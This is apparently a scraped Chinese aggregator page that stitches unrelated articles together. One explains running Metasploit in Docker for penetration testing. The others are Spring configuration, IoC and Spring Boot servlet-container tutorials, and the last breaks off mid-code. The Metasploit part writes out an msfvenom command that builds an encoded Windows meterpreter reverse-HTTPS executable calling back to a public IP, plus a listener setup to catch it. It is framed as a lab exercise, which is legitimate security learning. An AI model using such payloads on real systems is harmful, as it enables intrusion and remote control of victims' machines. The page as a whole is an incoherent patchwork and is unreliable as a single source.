精华内容
下载资源
问答
  • 在Linux上将规则作为后台程序运行BPF跟踪器的框架容器意识。 这不仅是“还有另一个追踪工具” ... 由于它使用BPF并允许Tracer接口的任何实现,因此您可以使用它来执行各种操作,从每次调用open修改文件到热...
  • 不论你是专业人事或仅仅是爱好者,你都可以轻松的在Docker容器中运行Metasploit框架,从而摆脱安装代码和依赖的噩梦。Docker镜像“remnux/metasploit”作为REMnux集合的一部分已经可以使用了,这归功于Jean ...

    Metasploit是一款强大的渗透测试开源框架。不论你是专业人事或仅仅是爱好者,你都可以轻松的在Docker容器中运行Metasploit框架,从而摆脱安装代码和依赖的噩梦。Docker镜像“remnux/metasploit”作为REMnux集合的一部分已经可以使用了,这归功于Jean Christophe Baptiste的贡献。

    以下的示例将向你展示如何在实验环境和公有服务器上运行Metasploit的Docker容器。容器提供了命令行接口的Metasploit框架。它缺少web管理页面,但是你可以通过安装免费的社区版本来获取它,这同时需要在Rapid 7上进行注册。Metasploit框架的命令行版本已经足够强大了,并且该工具可以通过远程调用框架来进行渗透测试。

    如何登陆Metasploit框架的Docker容器

    安装Metasploit框架Docker镜像的前提是你的系统可以连接互联网并且已经安装了Docker。当准备好后,在你的主机上运行下面这条命令后,镜像会被自动从REMnux的仓库下载并安装:

    sudo docker run --rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit
    


    在这个例子中,我将在一个临时的容器中运行应用“remnux/metasploit”,他将在我退出后消失(这就是“-rm”参数的作用)。“-it”参数允许你与交互式命令形式进行操作。

    为了保证相关数据在容器组件间被访问,我使用”-v“参数将我本机中的目录映射到容器内相关目录上。使用“~/.msf4”目录保存Metasploit框架的配置文件。主机上的“/tmp/msf”目录用于保存其他数据,比如你从目标系统获取的相关信息。

    “-p”参数用于将本机上的输入流端口映射到容器内的端口。上面的例子使用TCP端口443接收从反弹shell进入的HTTPS链接。

     


    镜像容量非常大:超过1.2GB,原因是它包含了运行Metasploit框架的所有运行时环境和依赖。这些数据将在第一次下载后被缓存起来。如果你想保持最新的版本可以运行“sudo docker pull remnux/metasploit”命令。

    容器被配置为当你登录后自动更新Metasploit的模块。如果你需要增加自己的模块,可以将它们放在主机的~/.msf4目录中。

    使用测试驱动模式使用Metasploit框架容器

    现在我来介绍如何在你的实验环境登录“remnux/metasploit”容器后体验Metasploit框架。我将会以一个弱配置的Windows系统为目标来举例。同时我将会使用Metasploit框架并使用授权的认证方式远程连接这个系统,而不是通过实际探查漏洞的方式。然后我会打开一个连接到我的Metasploit框架控制台的HTTPS反弹shell。

     


    在上面的例子中,我登录Metasploit的msfconsole工具,然后命令它给我一个连接到目标系统的交互式Meterpreter的shell。这个链接是在HTTPS上打洞,该链接被指向到Metasploit框架容器的443端口上。

    以上会话的截图我保存在容器中的/tmp/data目录中。当我退出容器后,那个目录的内容被持久化到底层主机的/tmp/msf目录中。

    在公有云中运行Metasploit框架容器

    当执行渗透测试时,你极有可能希望在一个可访问互联网的系统内运行Metasploit。你可以轻松通过公有云提供商提供的临时服务器来完成这件事。

    举个例子,你可以使用DigitalOcean来完成这件事,我喜欢DigitalOcean是因为它的高性价比。虽然DigitalOcean可以以每个月5美元来使用虚拟机,但我发现这个低端的系统对于Metasploit来说内存是不够用的。所以我租用了一台每月10美元的Ubuntu主机。

     


    一旦新系统激活,你可以登录进去并且执行下列命令去在主机上安装Docker:

    apt-key adv --keyserver hkp://p80.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
    add-apt-repository -y "deb https://apt.dockerproject.org/repo ubuntu-$(lsb_release -sc) main"
    apt-get update
    apt-get -y dist-upgrade
    apt-get -y install docker-engine
    


    然后,你可以使用文章开头的命令让Docker下载并载入Metasploit框架容器。

    sudo docker run --rm -it -p 443:443 -v ~/.msf4:/root/.msf4 -v /tmp/msf:/tmp/data remnux/metasploit
    


    对于这个例子,我决定使用Metasploit生成一个独立的后门文件,那样我就可以在目标Windows系统中运行这个文件来模拟一个受害者被欺骗运行了恶意软件的场景。

    msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_https LHOST=104.236.213.164 LPORT=443 -e x86/shikata_ga_nai -f exe -o file.exe
    


    既然在容器中的当前目录默认是/tmp/data,结果文件也应该在那。因为我将该目录映射到了主机的/tmp/msf目录上,我可以从那里获取文件并传输给我的实验Windows系统。

    然后我在容器内运行“msfconsole”并且命令该工具使用multi/handler,这个工具被设计为接受“msfconsole”接口的外部链接。当反弹HTTPS监听被激活,我将使用先前创建的file.exe“文件注入”到我的Windows系统,这个文件将完成链接并提供给我Meterpreter的shell。

     


    就像前面的例子所展示的,我保存了Windows系统的截屏到/tmp/data,即使容器关闭我也可以获取这个图片。

    容器的额外能力

    Metasploit也包含了非著名的Nmap扫描工具,它可以让你运行“nmap”命令。它提供了强大的能力去检查网络和系统中的潜在漏洞服务并决定如何使用Metaspoit去利用这些漏洞。容器也包含了NASM反编译程序。

    另外,容器包含了tmux多路终端工具。他可以让你在一个终端窗口内同时登陆多个“虚拟”窗口。容器修改了工具默认的Ctrl+b快捷键,将它改为Ctrl+a。登陆Metasploit框架容器后,输入“tmux”可以使用该工具了。你会在该工具多个“虚拟”窗口中得到一个shell。想要开启另外一个,按Ctrl+a然后按“c”。去切换窗口,按Ctrl+a然后按窗口编码(例如,Crl+a然后按“0”或“1”)

    例如,你可以在一个窗口内运行nmap而在另一个窗口中运行msfconsole。你可以阅读这个教程去学习如何使用tmux。

     

     

    总结一下

    Docker容器提供了一个便捷的方式去运行Metasploit框架而不必处理安装过程中复杂的工具代码和依赖。像这样运行Metasploit尤其对希望快速部署一个新系统帮助很大,例如运行在公有云上,并且随后关闭它不需要担心丢失任何个性化设置和数据。另一方面,这个方法需要你对Docker容器有一定了解。
     

    展开全文
  • 现在大多数人都在使用SpringCloud和SpringBoot作为Web开发框架的时代,其实这篇文章讲解的内容已经是大多数码农都接触不到的地方了。但是为什么还要写呢?因为这部分Spring官方文档并没有放弃,而且我们再工作中不可...

    前言

    现在大多数人都在使用SpringCloud和SpringBoot作为Web开发框架的时代,其实这篇文章讲解的内容已经是大多数码农都接触不到的地方了。但是为什么还要写呢?因为这部分Spring官方文档并没有放弃,而且我们再工作中不可避免地会接触到很多老的项目。比如使用Spring4,甚至使用Spring3构建的项目,就可能会碰到这些问题。而彼时的体系完全不像现在这么方便,所以为了更好的了解这些,笔者就把从官网上读到的内容,在这里做一个总结。好脑子不如烂笔头,既是为了提醒自己,也可以助人为乐。更多Spring内容进入【Spring解读系列目录】

    Spring开启注解的方式主要就两种,一种是基于xml的,一种是基于java的,两者亦可混用。如果没有开启常见的报错大概就是下面几种:
    Error1:

    Exception in thread "main" org.springframework.beans.factory.NoSuchBeanDefinitionException: No bean named 'aaaaaa' available
    	at org.springframework.beans.factory.support.DefaultListableBeanFactory.getBeanDefinition(DefaultListableBeanFactory.java:816)
    	at org.springframework.beans.factory.support.AbstractBeanFactory.getMergedLocalBeanDefinition(AbstractBeanFactory.java:1288)
    	at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:298)
    	at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:202)
    	at org.springframework.context.support.AbstractApplicationContext.getBean(AbstractApplicationContext.java:1109)
    	at com.example.demo.DemoTest.main(DemoTest.java:13)
    

    Error2:

    Exception in thread "main" java.lang.IllegalStateException: org.springframework.context.annotation.AnnotationConfigApplicationContext@77556fd has not been refreshed yet
    	at org.springframework.context.support.AbstractApplicationContext.assertBeanFactoryActive(AbstractApplicationContext.java:1096)
    	at org.springframework.context.support.AbstractApplicationContext.getBean(AbstractApplicationContext.java:1108)
    	at com.example.demo.DemoTest.main(DemoTest.java:18)
    

    Error3:

    Exception in thread "main" org.springframework.beans.factory.UnsatisfiedDependencyException: Error creating bean with name 'service' defined in file [D:\idea_projs\demo\target\classes\com\example\demo\DemoService.class]: Unsatisfied dependency expressed through constructor parameter 0; nested exception is org.springframework.beans.factory.NoSuchBeanDefinitionException: No qualifying bean of type 'com.example.demo.DemoDao' available: expected at least 1 bean which qualifies as autowire candidate. Dependency annotations: {}
    	at org.springframework.beans.factory.support.ConstructorResolver.createArgumentArray(ConstructorResolver.java:797)
    	at org.springframework.beans.factory.support.ConstructorResolver.autowireConstructor(ConstructorResolver.java:227)
    	at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.autowireConstructor(AbstractAutowireCapableBeanFactory.java:1356)
    	at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBeanInstance(AbstractAutowireCapableBeanFactory.java:1203)
    	at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:556)
    	at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.createBean(AbstractAutowireCapableBeanFactory.java:516)
    	at org.springframework.beans.factory.support.AbstractBeanFactory.lambda$doGetBean$0(AbstractBeanFactory.java:324)
    	at org.springframework.beans.factory.support.DefaultSingletonBeanRegistry.getSingleton(DefaultSingletonBeanRegistry.java:226)
    	at org.springframework.beans.factory.support.AbstractBeanFactory.doGetBean(AbstractBeanFactory.java:322)
    	at org.springframework.beans.factory.support.AbstractBeanFactory.getBean(AbstractBeanFactory.java:202)
    	at org.springframework.beans.factory.support.DefaultListableBeanFactory.preInstantiateSingletons(DefaultListableBeanFactory.java:897)
    	at org.springframework.context.support.AbstractApplicationContext.finishBeanFactoryInitialization(AbstractApplicationContext.java:879)
    	at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:551)
    	at org.springframework.context.annotation.AnnotationConfigApplicationContext.<init>(AnnotationConfigApplicationContext.java:89)
    	at com.example.demo.DemoTest.main(DemoTest.java:17)
    Caused by: org.springframework.beans.factory.NoSuchBeanDefinitionException: No qualifying bean of type 'com.example.demo.DemoDao' available: expected at least 1 bean which qualifies as autowire candidate. Dependency annotations: {}
    	at org.springframework.beans.factory.support.DefaultListableBeanFactory.raiseNoMatchingBeanFound(DefaultListableBeanFactory.java:1717)
    	at org.springframework.beans.factory.support.DefaultListableBeanFactory.doResolveDependency(DefaultListableBeanFactory.java:1273)
    	at org.springframework.beans.factory.support.DefaultListableBeanFactory.resolveDependency(DefaultListableBeanFactory.java:1227)
    	at org.springframework.beans.factory.support.ConstructorResolver.resolveAutowiredArgument(ConstructorResolver.java:884)
    	at org.springframework.beans.factory.support.ConstructorResolver.createArgumentArray(ConstructorResolver.java:788)
    	... 14 more
    

    提前准备

    假设我们现在有一个接口DemoDao,一个实现类DemoDaoImpl,一个业务类DemoService。依赖关系如下:
    DemoDao

    public interface DemoDao {
        void test();
    }
    

    DemoDaoImpl

    public class DemoDaoImpl implements DemoDao{
        @Override
        public void test() {
            System.out.println("test");
        }
    }
    

    DemoService

    public class DemoService {
        private DemoDao dao;
        public void myDaoService(){
            dao.test();
        }
    }
    

    schemal-based 基于XML配置文件的

    首先我们以schemal-based 基于xml的为例子,写一个测试类和一个spring的配置文件。
    DemoTest

    public class DemoTest {
        public static void main(String[] args) {
           ClassPathXmlApplicationContext cpth
                    = new ClassPathXmlApplicationContext("classpath:spring.xml");
            //拿到service
            DemoService service= (DemoService) cpth.getBean("service");
            service.myDaoService();
        }
    }
    

    spring.xml

    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="http://www.springframework.org/schema/beans
           http://www.springframework.org/schema/beans/spring-beans.xsd">
    	<bean id="service" class="com.example.demo.DemoService">
    		<!--注册一个service -->
    	</bean>
    </beans>
    

    如果我想要在DemoDaoImpl上用注解,把这个类编程一个dao的服务,那么就要写成下面的样子。然而如果直接运行,那一定是会报错的,因为我们还没有开启注解。虽然Spring框架有这样的语法,但是基于xml配置文件搭建的项目是不会自动解析注解的,就算是碰到注解也不会解析。这样应该是为了节约性能,当你需要注解的时候启动注解,如果不需要Spring也不会去消耗资源去解析注解。

    @Component(“dao”)
    public class DemoDaoImpl implements DemoDao{
        @Override
        public void test() {
            System.out.println("test");
        }
    }
    

    那么怎么开启呢?要想开启xml的注解,需要配置上context官方路径xmlns:context="http://www.springframework.org/schema/context"
    就是把<beans>的头改成下面的样子:

    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xmlns:context="http://www.springframework.org/schema/context"
           xsi:schemaLocation="http://www.springframework.org/schema/beans
                                http://www.springframework.org/schema/beans/spring-beans.xsd
                                http://www.springframework.org/schema/context
                                http://www.springframework.org/schema/context/spring-context.xsd">
    

    这样context就可以被引用进来了,完全不需要下载任何插件。然后加入<context:annotation-config></context:annotation-config>这个注解,就开了spring的解析注解。如果现在直接运行。那么一定还会报错。因为还没有配置扫描。<context:component-scan base-package="com.example"></context:component-scan>这里的base-package就是配置的扫描范围。然后运行DemoTest就成功了。完整的文件如下:

    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xmlns:context="http://www.springframework.org/schema/context"
           xsi:schemaLocation="http://www.springframework.org/schema/beans
                                http://www.springframework.org/schema/beans/spring-beans.xsd
                                http://www.springframework.org/schema/context
                                http://www.springframework.org/schema/context/spring-context.xsd">
        <!--新版可以不要这句配置 <context:annotation-config></context:annotation-config> -->
        <context:component-scan base-package="com.example"></context:component-scan>
        <bean id="service" class="com.example.demo.DemoService">
    		<!--注册一个service -->
    	</bean>
    </beans>
    

    特别提醒一下:笔者这里使用的版本已经是Spring5了,在Spring4以及更高版本<context:annotation-config>这个配置已经不需要了。<context:component-scan>把开启和扫描都包含在了一起,有了这个就意味着既开启了注解也开启了扫描。如果是低版本,两句配置都要有。如果看到网上的成还要配置annotation-config而且还是必须配置的,就说明这个博主写的至少得是spring3甚至更低的版本,参考价值就大打折扣了。

    java-based 基于JAVA代码的配置

    既然是基于java注解的,那么我们就不需要spring.xml这个文件了。还是一样的例子。只是我们要把DemoService加上注解,告诉Spring框架这个类是一个名字叫做“service”的Service。

    @Service(“service”)  //起了一个别名。如果不加别名,默认就是第一个字母小写的demoService
    //@Service    //不加别名
    public class DemoService {
    @Autowired
        private DemoDao dao;
        public void myDaoService(){
            dao.test();
        }
    }
    

    因为我们的DemoTest里面拿出来的名字是service,这里就是给起了一个别名。因为我们已经不要spring配置文件启动了,那么测试类中也要修改Spring的Bean工厂为AnnotationConfigApplicationContext这个类。但是这个类需要一个加载类用来替代xml文件。因此我们还要创建一个类,笔者命名为Spring,名字自取也是无所谓的。

    public class DemoTest {
        public static void main(String[] args) {
    	//注意配置类更换了
           AnnotationConfigApplicationContext acac=new AnnotationConfigApplicationContext(Spring.class);
            //拿到service,如果上面没有给别名,这里拿到的应该是”demoService”,而不是”service”
            DemoService service= (DemoService) acac.getBean("service");
            //DemoService service= (DemoService) acac.getBean("demoService ");
    		service.myDaoService();
        }
    }
    

    加载类Spring.class,可以看到内容和xml文件如出一辙。运行DemoTest成功。

    @Configuration
    @ComponentScan("com.example")
    public class Spring {
    }
    

    混用验证

    我们首先把DemoDaoImpl这类上的@Component(“dao”)删了,让spring框架不知道有这个类,如下。如果运行一定会报错的,因为spring已经找不到这个类了:

    //@Component("dao")    删除注解,使其对spring不可见
    public class DemoDaoImpl implements DemoDao{
        @Override
        public void test() {
            System.out.println("test");
        }
    }
    

    然后打开spring.xml这个文件,把注解扫描删了。然后强行定义IndexDaoImpl这个类进去,并且命名为dao:

    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xmlns:context="http://www.springframework.org/schema/context"
           xsi:schemaLocation="http://www.springframework.org/schema/beans
                                http://www.springframework.org/schema/beans/spring-beans.xsd
                                http://www.springframework.org/schema/context
                                http://www.springframework.org/schema/context/spring-context.xsd">
        <!--<context:annotation-config></context:annotation-config>
        <context:component-scan base-package="com.example"></context:component-scan>-->
        <bean id="dao" class="com.example.demo.DemoDaoImpl">
        </bean>
    </beans>
    

    然后去Spring这个配置类中把这个定义的spring.xml文件用@ImportResource注解引入进来。再运行,就没问题了。

    @Configuration
    @ComponentScan("com.example")
    @ImportResource("classpath:spring.xml")
    public class Spring {
    }
    

    那么这就是两者混用,既使用了AnnotationConfigApplicationContext基于java代码的注解,又使用了基于xml的sring.xml而且一点影响都没有。

    结语

    其实到目前为止,spring公司提供的springboot框架已经帮我们把这些东西都做好了。而且springboot就是基于java的配置启动的,非常的方便,更是被Spring公司作为SpringMVC框架的首推。但是正如笔者开头所说,多学习一些总是没错的,碰到了老项目看不懂就太尴尬了。到此本篇博客正式结束。

    博客中代码的目录结构如下:
    在这里插入图片描述

    展开全文
  • 可以将其用作“包括电池”的默认值,该默认值可以: 为网络提供集群 两个基于HA KOPS的Kubernetes集群 隔离多个开发/非生产环境 基于VPN的访问控制 跨多个可用区构建的高可用性网络 它是如何工作的? 五角大楼...
  • dreamvc框架(一)ioc容器的集成

    千次阅读 2014-11-15 18:13:26
    我的dreamvc框架终于写得差不多了,借鉴了很多开源框架,...首先,IOC容器作为管理bean的重要工具,我们在日常的开发当中经常用到,最常用的就属SPRINGIOC了吧!当然,如果开发者不原理是用SPRINGIOC,那么你可以实现

    我的dreamvc框架终于写得差不多了,借鉴了很多开源框架,SpringMVC、Struts2等,目前放在github上面。地址请猛戳我

    写得差不多了,是要写一个总结,把自己当时的思路记录下来!还有更多的工作要做!

    (一)

    首先,IOC容器作为管理bean的重要工具,我们在日常的开发当中经常用到,最常用的就属SPRINGIOC了吧!当然,如果开发者不原理是用SPRINGIOC,那么你可以实现自己的容器,或者是用其他的3方ioc工具,只要实现dreamvc提供的IocFactory或者继承AbstractIocFactory。请看下面这个接口

    package org.majorxie.dreamvc.ioc.factory;
    
    import java.util.List;
    
    import javax.servlet.ServletConfig;
    import javax.servlet.ServletContext;
    
    
    
    /**
     *IOC 容器 工厂接口
     *
     * @author xiezhaodong(majorxie@139.com)
     *2014-10-24
     */
    public interface IocFactory {
    	/**
    	 * 加载容器
    	 * @param config
    	 */
    	void init(ServletContext context);
    		
    	/**
    	 * destory ioc
    	 */
    	void destroy();	
    	
    	/**
    	 * 得到所有的controller对象
    	 * @return
    	 */
    	List<Object> getControllers()throws Exception;
    	
    	/**
    	 * 是否是拦截器
    	 * @return
    	 */
    	List<Object> getInterceptors();
    	
    	/**
    	 * 得到其他对象
    	 * @return
    	 */
    	List<Object> getOthers();
    	
    	
    }
    

    package org.majorxie.dreamvc.ioc.factory;
    
    import java.util.List;
    
    
    /**
     * 如果是Spring容器就让他自己destory,其他的可以继承该类覆盖此方法
     * 如果想要扩展ioc,则可以选择使用extends还是implements
     *  @author xiezhaodong
     *2014-10-25
     */
    public abstract class AbstractIocFactory implements IocFactory {
    	/**
    	 * 默认实现为空
    	 */
    	public void destroy() {
    		
    		
    	}
    	
    	public List<Object> getOthers() {
    		
    		return null;
    	}
    	
    	
    }
    



    开发者按照接口定义内容,封装好自己的controller和Interceptor。然后在web.xml里面配置实现类的路径就行了,dreamvc已经默认的实现了springioc,请看实现类

    package org.majorxie.dreamvc.ioc.factory;
    
    import java.util.ArrayList;
    import java.util.List;
    
    import javax.servlet.ServletContext;
    
    import org.apache.commons.logging.Log;
    import org.apache.commons.logging.LogFactory;
    import org.majorxie.dreamvc.exception.NotHaveControllerException;
    import org.majorxie.dreamvc.interceptor.Interceptor;
    import org.majorxie.dreamvc.tag.Controller;
    import org.springframework.context.ApplicationContext;
    import org.springframework.web.context.support.WebApplicationContextUtils;
    
    /**
     * Spring容器的实现,我们让spring去destory所以继承的abstract
     * 
     * @author xiezhaodong 2014-10-25 01:34
     * 
     */
    public class SpringIocFactory extends AbstractIocFactory {
    	private final Log log = LogFactory.getLog(SpringIocFactory.class);
    
    	private ApplicationContext applicationContext;
    	private List<Object> controllerBeans = new ArrayList<Object>();
    	private List<Object> otherBeans = new ArrayList<Object>();
    	private List<Object> interceptorBeans = new ArrayList<Object>();
    
    	public void init(ServletContext context) {
    		log.info("init context...");
    		applicationContext = WebApplicationContextUtils
    				.getRequiredWebApplicationContext(context);
    		initBeans();
    	}
    
    	public List<Object> getControllers() throws NotHaveControllerException {
    
    		if (controllerBeans.size() == 0) {
    			throw new NotHaveControllerException("you need at least one controller ");
    		} else {
    			return controllerBeans;
    		}
    	}
    
    	public List<Object> getInterceptors() {
    		return interceptorBeans;
    	}
    
    	/**
    	 * 如果是Interceptor或者controller类,或者有着两个的注解都算是该类的类
    	 * 遍历所有的bean装载到list
    	 * 
    	 */
    	@SuppressWarnings("unchecked")
    	private void initBeans() {
    		String[] beanNames = applicationContext.getBeanDefinitionNames();
    		for (String beanName : beanNames) {
    			if (applicationContext.getBean(beanName) instanceof Interceptor/*||applicationContext.getType(beanName).isAnnotationPresent(org.majorxie.dreamvc.annotation.Interceptor.class)==true*/) {
    				// applicationContext.getBean(beanName, Interceptor.class);
    				interceptorBeans.add(applicationContext.getBean(beanName));
    				log.info("init interceptor..");
    			} else
    
    			if (applicationContext.getBean(beanName) instanceof Controller||applicationContext.getType(beanName).isAnnotationPresent(org.majorxie.dreamvc.annotation.Controller.class)==true) {
    				controllerBeans.add(applicationContext.getBean(beanName));
    				log.info("init controller....");
    			} else {
    				otherBeans.add(applicationContext.getBean(beanName));
    				log.info("init others...");
    			}
    
    		}
    
    	}
    
    	@Override
    	public List<Object> getOthers() {
    
    		return otherBeans;
    	}
    
    }
    
    配置web.xml加载参数

     <init-param>
        <param-name>container</param-name>
        <param-value>org.majorxie.dreamvc.ioc.factory.SpringIocFactory</param-value>
      </init-param>
    ok,我们的ioc集成已经完成了,现在就可以在application.xml配置了

    <span style="white-space:pre">	</span><bean id="test" class="test.ConTest"></bean>
    	<bean id="inter2" class="test.Interceptor_02"></bean>
    	<bean id="inter" class="test.LoginInterceptor"></bean>


    下一篇,会讲解dreamvc的机制~~么么哒



    转载请注明出处http://blog.csdn.net/a837199685





    展开全文
  • Ruby on Rails template project This project is based on a GitLab Project Template. Improvements can be proposed in the original project. CI/CD with Auto DevOps This template is compatible with Auto ...
  • 嵌入式Servlet容器 ...SpringBoot默认使用Tomcat作为嵌入式的Servlet容器; 从pom配置文件里面可以看出来 对于嵌入式的东西,我们关注的问题大概是: 怎样定制和修改Servlet容器的相关配置; 如何修改成其他的ser

    嵌入式Servlet容器

    之前我们写一个web项目的时候,需要将这个项目打包成war包,然后
    将这个war包放在配置好servlet容器(Tomcat)里面运行
    但是现在我们编写SpringBoot项目的时候发现启动的时候我们
    并没有配置什么Tomcat,但是使用的却是Tomcat容器
    SpringBoot默认使用Tomcat作为嵌入式的Servlet容器;
    从pom配置文件里面可以看出来
    

    在这里插入图片描述

    对于嵌入式的东西,我们关注的问题大概是:
    	怎样定制和修改Servlet容器的相关配置;
    	如何修改成其他的servlet容器
    

    修改Servlet容器的相关配置

    修改和server有关的配置

    修改和server有关的配置
    (ServerProperties里面的属性
    【可以发现它也是EmbeddedServletContainerCustomizer
    也是使用customize方法将配置修改的】);
    //通用的Servlet容器设置
    server.xxx
    //Tomcat的设置
    server.tomcat.xxx
    
    只要是配置文件里面能配置的属性,都是对应一个配置类
    进入ServerProperties类进行查看,
    可以发现里面有port端口号进行设置,
    contextPath项目访问路径进行设置
    tomcat容器进行设置
    @ConfigurationProperties(prefix = "server", ignoreUnknownFields = true)
    public class ServerProperties
    		implements EmbeddedServletContainerCustomizer, EnvironmentAware, Ordered {
    	private Integer port;
    	private String contextPath;
    	private final Tomcat tomcat = new Tomcat();
    	@Override
    	public void customize(ConfigurableEmbeddedServletContainer container) {
    		if (getPort() != null) {
    			container.setPort(getPort());
    		}
    	}
    
    点进Tomcat类里面进行查看
    public static class Tomcat 
    {
    	private String protocolHeaderHttpsValue = "https";
    	private Charset uriEncoding;
    }
    
    比如:
    server.context-path=/crud
    server.tomcat.uri-encoding=utf-8
    

    编写一个EmbeddedServletContainerCustomizer

    EmbeddedServletContainerCustomizer:
    嵌入式的Servlet容器的定制器;来修改Servlet容器的配置
    
    @Bean //要将这个定制器加入到容器中
    public EmbeddedServletContainerCustomizer myEmbeddedServletContainerCustomizer()
    {
        return new EmbeddedServletContainerCustomizer()
        {
            //定制嵌入式的Servlet容器相关的规则
            @Override
            public void customize(ConfigurableEmbeddedServletContainer configurableEmbeddedServletContainer)
            {
                configurableEmbeddedServletContainer.setPort(8083);
            }
        };
    }
    

    注册servlet三大组件

    SpringBoot默认是以jar包的方式启动嵌入式的Servlet容器
    来启动SpringBoot的web应用,没有web.xml文件。
    注册三大组件用以下方式
    
        //注册三大组件
        //注册Servlet
        public ServletRegistrationBean Myservlet()
        {
            ServletRegistrationBean servletRegistrationBean = new ServletRegistrationBean(new MyServlet(),"/myservlet");
            return servletRegistrationBean;
        }
        //注册filter
        @Bean
        public FilterRegistrationBean MyFilter()
        {
            FilterRegistrationBean filterRegistrationBean = new FilterRegistrationBean();
            filterRegistrationBean.setFilter(new MyFilter());
            filterRegistrationBean.setUrlPatterns(Arrays.asList("/hello","/myservlet"));
            return filterRegistrationBean;
        }
        //注册listener
        @Bean
        public ServletListenerRegistrationBean MyListener()
        {
            ServletListenerRegistrationBean<MyListener> myListenerServletListenerRegistrationBean = new ServletListenerRegistrationBean<>(new MyListener());
            return myListenerServletListenerRegistrationBean;
        }
    
    
    package jane.test.servlet;
    
    import javax.servlet.ServletException;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    import java.io.IOException;
    
    /**
     * @author jane
     * @create 2021-01-28 12:46
     */
    public class MyServlet extends HttpServlet
    {
        @Override
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException
        {
            doPost(req, resp);
        }
    
        @Override
        protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException
        {
            resp.getWriter().write("MyServlet...");
        }
    }
    
    
    package jane.test.filter;
    
    import javax.servlet.*;
    import java.io.IOException;
    
    /**
     * @author jane
     * @create 2021-01-29 12:49
     */
    public class MyFilter implements Filter
    {
    
        @Override
        public void init(FilterConfig filterConfig) throws ServletException
        {
    
        }
    
        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException
        {
            System.out.println("MyFilter process...");
            filterChain.doFilter(servletRequest,servletResponse);
        }
    
        @Override
        public void destroy()
        {
    
        }
    }
    
    
    package jane.test.listener;
    
    import javax.servlet.ServletContextEvent;
    import javax.servlet.ServletContextListener;
    
    /**
     * @author jane
     * @create 2021-01-29 12:59
     */
    public class MyListener implements ServletContextListener
    {
        @Override
        public void contextInitialized(ServletContextEvent servletContextEvent)
        {
            System.out.println("contextInitialized...web应用启动");
        }
    
        @Override
        public void contextDestroyed(ServletContextEvent servletContextEvent)
        {
            System.out.println("contextDestroyed...web项目销毁");
        }
    }
    

    例子

    SpringBoot帮我们自动配置SpringMVC的时候,
    自动注册SpringMVC的前端控制器;DIspatcherServlet;
    在DispatcherServletAutoConfiguration中:
    
    @Bean(name = DEFAULT_DISPATCHER_SERVLET_REGISTRATION_BEAN_NAME)
    @ConditionalOnBean(value = DispatcherServlet.class, name = DEFAULT_DISPATCHER_SERVLET_BEAN_NAME)
    public ServletRegistrationBean dispatcherServletRegistration(
    		DispatcherServlet dispatcherServlet) {
    	ServletRegistrationBean registration = new ServletRegistrationBean(
    			dispatcherServlet, this.serverProperties.getServletMapping());
    	//默认拦截: / 所有请求;包静态资源,但是不拦截jsp请求; /*会拦截jsp
    	//可以通过server.servletPath来修改SpringMVC前端控制器默认拦截的请求路径
    	registration.setName(DEFAULT_DISPATCHER_SERVLET_BEAN_NAME);
    	registration.setLoadOnStartup(
    			this.webMvcProperties.getServlet().getLoadOnStartup());
    	if (this.multipartConfig != null) {
    		registration.setMultipartConfig(this.multipartConfig);
    	}
    	return registration;
    }
    

    修改成其他的servlet容器

    SpringBoot还支持Jetty和Undertow这些容器
    Jetty主要是用于长连接的,比如web聊天之类的
    Undertow不支持jsp
    

    在这里插入图片描述

    SpringBoot默认使用的是嵌入式Tomcat,因为
    spring-boot-starter-web默认导入的是spring-boot-starter-tomcat
    

    在这里插入图片描述

    修改成jetty

     <dependency>
         <groupId>org.springframework.boot</groupId>
         <artifactId>spring-boot-starter-web</artifactId>
         <exclusions>
             <exclusion>
                 <artifactId>spring-boot-starter-tomcat</artifactId>
                 <groupId>org.springframework.boot</groupId>
             </exclusion>
         </exclusions>
     </dependency>
     <!--导入其他的servlet容器-->
     <dependency>
         <artifactId>spring-boot-starter-jetty</artifactId>
         <groupId>org.springframework.boot</groupId>
     </dependency>
    

    修改成undertow

    <dependency>
       <groupId>org.springframework.boot</groupId>
       <artifactId>spring-boot-starter-web</artifactId>
       <exclusions>
           <exclusion>
               <artifactId>spring-boot-starter-tomcat</artifactId>
               <groupId>org.springframework.boot</groupId>
           </exclusion>
       </exclusions>
    </dependency>
    <!--导入其他的servlet容器-->
    <dependency>
       <artifactId>spring-boot-starter-undertow</artifactId>
       <groupId>org.springframework.boot</groupId>
    </dependency>
    

    原理

    @AutoConfigureOrder(Ordered.HIGHEST_PRECEDENCE)
    @Configuration
    @ConditionalOnWebApplication
    @Import(BeanPostProcessorsRegistrar.class)
    public class EmbeddedServletContainerAutoConfiguration {
    
    	/**
    	 * Nested configuration if Tomcat is being used.
    	 */
    	@Configuration
    	//判断是否引入了tomcat依赖
    	@ConditionalOnClass({ Servlet.class, Tomcat.class })
    	@ConditionalOnMissingBean(value = EmbeddedServletContainerFactory.class, search = SearchStrategy.CURRENT)
